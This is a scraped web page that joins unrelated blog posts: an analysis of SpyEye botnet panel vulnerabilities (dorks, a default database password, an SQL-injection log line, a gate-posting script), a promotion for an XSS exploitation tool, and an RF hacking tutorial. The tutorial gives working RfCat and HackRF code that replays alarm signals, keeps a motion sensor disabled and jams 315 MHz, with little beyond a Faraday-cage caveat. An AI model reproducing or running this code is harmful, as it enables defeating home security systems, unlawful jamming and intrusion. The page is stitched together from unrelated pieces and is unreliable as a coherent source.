天和樹脂-浙江-上海-南通-http://www.chinaresins.com

AdSense

        

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

  • if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
  • if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
  • also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
  • otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it
And this is how the control panel login looks like, nothing sophisticated:


The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:


Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)


  • Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
  • No password policy - admins can set up really weak passwords
  • No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
  • Password autocomplete enabled - boring
  • Missing HttpOnly flag on session cookie - interesting when combining with XSS
  • No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...
        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";

                switch( $uptype )
                {
                case 'body': $ext = 'b'; break;
                case 'config': $ext = 'c'; break;
                case 'exe': $ext = 'e'; break;
                default: $ext = 'e';
                }
                $_SESSION['file_ext'] = $ext;
                if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
              {
                        $bots = explode(' ', trim($_POST['bots']));
                        //writelog("debug.log", trim($_POST['bots']));
                      $filename .= "_".(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES['file']['tmp_name'];
                $fileSize = $_FILES['file']['size'];
                $fileType = $_FILES['file']['type'];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, 'r');
  • Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
  • ClickJacking - really boring stuff

    SQL injection


    SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

    It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

    But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

    "For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

    And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

    CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

    Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

    Unfortunately the default permissions for this user is not enough to write files (select into outfile):

    Access denied for user 'frmcpviewer' (using password: YES)

    I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

    63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

    Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

    Which company/organization has the right to attack my server? 
    • police (having a warrant)
    • military (if we are at war)
    • spy agencies (always/never, choose your favorite answer)
    • CERT organisations?

    But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

    The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

    And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

    On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

    (Useless) Cross site scripting


    Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...



    Session handling


    This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

    Binary server


    Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

    Log files revealed


    If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

    Reading the code


    Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

    $content = fread($fp, filesize($tmpName));
    if ( $uptype === 'config' )
        $md5 = GetCRC32($content);
    else $md5 = md5($content);
    ....
    <script>
    if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
    alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
    document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
    }
    </script>

    Decrypting SpyEye communication

    It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

    function DeCode($content)
    {
    $res = '';
    for($i = 0; $i < strlen($content); $i++)
    {
    $num = ord($content[$i]);
    if( $num != 219) $res .= chr($num^219);
    }
    return $res;
    }
    Fixed XOR key, again, well done ...
    This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.


    import binascii
    import requests
    import httplib, urllib

    def xor_str(a, b):
    i = 0
    xorred = ''
    for i in range(len(a)):
    xorred += chr(ord(a[i])^b)
    return xorred

    b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
    payload =xor_str (binascii.a2b_base64(b64_data), 219)
    print ("the decrypted payload is: " + payload)
    params = (binascii.b2a_base64(xor_str(payload,219)))
    payload = {'data': params}
    r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

    Morale of the story?


    Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

    More info


    0 留言

    DOWNLOAD XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

    XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

    XSStrike is really advanced XSS exploitation and detection suite, which contains a very powerful XSS fuzzer and provides no false positive results using fuzzy matching. XSStrike is the first XSS scanner that generates its own payloads. Download xsstrike and test it out.
    It also has built in an artificial intelligent enough to detect and break out of various contexts.

    FEATURES:

    • Powerful Fuzzing Engine
    • Context Breaking Intelligence
    • AI Payload Generation
    • GET & POST Methods Support
    • Cookie Support
    • WAF Fingerprinting
    • Handcrafted Payloads to Filter and WAF Evasion
    • Hidden Parameter Discovery
    • Accurate Results

    DOWNLOAD XSSTRIKE – ADVANCED XSS EXPLOITATION SUITE

    Click here to download xsstrike.
    More articles

    0 留言

    Hacking Everything With RF And Software Defined Radio - Part 1


    This will be a Mini Course on Attacking Devices with RF from a hackers perspective


    I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
    You can follow us online at the following if your really bored:
    Twitter: @Ficti0n , GarrGhar
    Site: CCLabs.io


    Items needed to Follow Along: 

    Purchase Target: 

    Home Alert System: https://goo.gl/W56Eau
    I settled on hacking a home alert system for the first blog, which contained the following Items: 
    • A doorBell
    • Motion Sensors with alarm alerts
    • Door sensors to alert when the door is opened
    • Home Hub Receiver

    Purchase Tools Needed: 

    HackRF: https://goo.gl/3trM5Q
    YardStick: https://goo.gl/wd88sr
    RTL SDR: https://goo.gl/B5uUAR


    Penetration Testing BrainStorming Session: 

    I brainstormed with a friend the following attack avenues for this device: 
    • Ring the doorbell  (Our Hello World) 
    • Trigger the motion sensors
    • Remotely disable the motion sensors
    • Jam frequencies for Denial Of Service 

    This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

    • Using HackRF for RF Replay attacks 
    • Using Yardstick One for Replay attacks 
    • Demodulating and decoding signals for use with RF attacks 
    • Discovering and troubleshooting issues
    • Coding tools in python and RFCat
    • RF Jamming Attacks


    Video Series PlayList Associated with this blog: 




    Initial Profiling of our Device: 

    What does our device do in normal operation?   
    Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

    How do they Connect?
    All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

    Determining the Frequency: 
    To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 




    Replay attacks with HackRF To Trigger / Disable Sensors: 

    Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

    Below is a photo of the HackRF One hardware used in the first attack and linked above. 


    Install HackRF Software: 

    Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
    • brew install hackrf
    • Plug in HackRF and type hackrf_info to confirm its working

    Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

    With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

    Simple Replay Commands: 

    hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
    hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

    By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

    Receive: (Capture Traffic from HackRF): 

    Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
    call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
    call hackrf_set_freq(315000000 Hz/315.000 MHz)
    Stop with Ctrl-C
    19.9 MiB / 1.005 sec = 19.8 MiB/second
    20.2 MiB / 1.001 sec = 20.2 MiB/second
    19.9 MiB / 1.004 sec = 19.9 MiB/second
    20.2 MiB / 1.005 sec = 20.1 MiB/second
    ^CCaught signal 2
     5.2 MiB / 0.257 sec = 20.4 MiB/second

    Exiting...
    Total time: 4.27196 s
    hackrf_stop_rx() done
    hackrf_close() done
    hackrf_exit() done
    fclose(fd) done
    exit

    Transmit: (Trigger alarm from HackRF) 

    Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
    call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
    call hackrf_set_freq(315000000 Hz/315.000 MHz)
    Stop with Ctrl-C
    19.9 MiB / 1.000 sec = 19.9 MiB/second
    19.9 MiB / 1.005 sec = 19.8 MiB/second
    20.2 MiB / 1.005 sec = 20.1 MiB/second
    20.2 MiB / 1.000 sec = 20.2 MiB/second
    Input file end reached. Rewind to beginning.
    20.2 MiB / 1.005 sec = 20.1 MiB/second
    20.2 MiB / 1.001 sec = 20.2 MiB/second
    19.9 MiB / 1.005 sec = 19.8 MiB/second
    20.2 MiB / 1.000 sec = 20.2 MiB/second
    ^CCaught signal 2
    12.8 MiB / 0.654 sec = 19.7 MiB/second

    Exiting...
    Total time: 12.68557 s
    hackrf_stop_tx() done
    hackrf_close() done
    hackrf_exit() done
    fclose(fd) done
    exit

    While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

    Further Profiling our Devices Functionality: 

    We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

    GQRX Install:

    You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

    Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 





    Select OK and the interface will load up, I made the following changes.

    • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
    • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
    • I then hit play and could view the 315 MHz frequency range. 

    When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 



    I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

    Can we replay the Motion Sensor Turn off?? 
    I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  



    Decoding Signal Patterns for Sending With The YardStick One: 

    Below is a picture of the yard Stick tool used in the following attacks


    Documented Process: 

    Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

    • Record the transmission with the SDR dongle and GQRX
    • Demodulate and Decode with Audacity into binary (1s & 0s)
    • Convert the Binary to Hex (0x)
    • Replay with YardStick in python and RFCat libraries 

    Troubleshooting Extra Steps: 

    However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

    • Record your YardStick Replay with GQRX and adjust the frequency again based on output
    • Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly
    • Add some  padding in form of \x00 to the end of your Hex to make it work. 
    • Adjust the number of times you repeat your transmissions

    Record Transmission with GQRX: 

    OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

    Install Audacity: 

    You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro's package management to install this tool if it is not found on the site. 

    If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 



    We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's: 



    Decode to binary: 

    So the main issue here is how many 1's and how many 0's are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
    10111000 10001011 10111000 10001000 10001011 10111011 10000000

    What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks.  

    Try converting it yourself, does it look like my representation above? 

    Convert to Hex:

    In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

    Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

    Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b
    0xb8
    0x8b
    0xb8
    0x88
    0x8b
    0xbb
    0x80

    In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

    Install RFCat and Dependencies(libusb, pyusb): 

    git clone https://github.com/atlas0fd00m/rfcat.git
    cd rfcat/
    sudo python setup.py install
    cd ../
    git clone https://github.com/walac/pyusb.git
    cd pyusb/
    sudo python setup.py install
    easy install pip
    pip install libusb
    Plug in your device and run the following to verify: 
    rfcat -r


    Setting up your python Replay Attack: 

    First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
    Hex Conversion for the python script: 
    \xb8\x8b\xb8\x88\x8b\xbb\x80

    I provided a few notations under the code to help understanding but its mostly self explanatory: 

    #--------Ring the doorbell--------#: 
    from rflib import *

    d = RfCat()   #1
    d.setFreq(315005000)  #2
    d.setMdmModulation(MOD_ASK_OOK) #3
    d.setMdmDRate(4800) #4 

    print "Starting"
    d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5
    print 'Transmission Complete'

    #--------End Code --------#
    #1 Creating a RfCat instance
    #2 Setting your Frequency to the capture range from your GQRX output
    #3 Setting the modulation type to ASK Amplitude shift keying
    #4 Setting your capture rate to that of your GQRX capture settings 
    #5 Transmit your Hex 10 times

    Ring Doorbell with Yardstick (First Attempt): 

    Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

    Destroy:ficti0n$ python Door.py
    Starting
    Transmission Complete

    However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick. 


    Doorbell with Yardstick (TroubleShooting): 

    I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

    The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 




    If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 




    If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 






    Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding. 

    Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   


    Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

    The following updated code will ring the doorbell using padding: 
    #--------Ring the doorbell--------#: 
    from rflib import *

    d = RfCat()
    d.setFreq(315005000)
    d.setMdmModulation(MOD_ASK_OOK)
    d.setMdmDRate(4800)

    print ("Starting Transmission")
    d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)
    print ("Transmission Complete")
    #--------End Code --------#


    Disable the Motion Sensor with No Motion Feature:

    Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
    The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

    Below is a screenshot of the "Motion has ended) transmission in audacity: 



    So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 




    The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length… 

    See what you can come up with,  does it match what I have below? 

    10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

    If we convert that to hex we get the following: 
    Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b
    0x88
    0xa2
    0x8a
    0x28
    0xa8
    0x8a
    0x28
    0xa0

    Hex Conversion for the python script: 
    \x88\xa2\x8a\x28\xa8\x8a\x28\xa0


    Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 




    Repeating Pattern:
    10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

    Hex Conversion:  (Used the online tool, R2 didn't like this binary for some reason) 
    \xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

    Testing / Troubleshooting: 

    I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
    I then tried sending only the opening sequence and that didn't work either.  
    I combined the first part with a repeating 2nd part for 10 iterations 
    The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
    Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

    In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
    d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

    The above is very simple, to explain:

    • First add in your opening patterns HEX values
    • Pad that with 6 \x00 for spacing
    • Add the second patterns HEX values and add that with 6 \x00
    • Now multiply the second part by 10 since in the wave output this part was repeating

    Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  
    SUCCESS

    As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

    #--------Disable The Motion Sensor --------#: 
    from rflib import *

    d = RfCat()
    d.setFreq(315005000)
    d.setMdmModulation(MOD_ASK_OOK)
    d.setMdmDRate(4800)

    while 1:  #Added a loop to keep the sensor disabled
    print ("Starting Transmission")
    d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
    print ("Transmission Complete")
    #--------End Code --------#




    Jamming RF With Python: 

    Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

    RF Jamming and the FCC: 

    One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 


    From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

    "We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "


    Notes On the reality of Criminals: 

    It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

    There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

    Jamming in Python: 

    I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

    Use a Faraday cage for your security testing: 

    If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

    I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
    Below is a simple manually configurable version of this script. 


    #--------RF_Emp.py Simple Version --------#: 

    # For use within Faraday Enclosures only
    from rflib import *

    print "Start RF Jamming FTW"
    d = RfCat()
    d.setMdmModulation(MOD_ASK_OOK)
    d.setFreq(315000000)
    d.setMdmSyncMode(0)
    d.setMdmDRate(4800)
    d.setMdmChanSpc(24000)
    d.setModeIDLE()
    d.setPower(100)
    d.makePktFLEN(0)

    print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
    d.setModeTX() # start transmitting
    raw_input("Unplug to stop jamming")
    print 'done'
    d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
    #--------End Code --------#

    Notes on using Virtual Machines: 


    You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

    Whats next: 

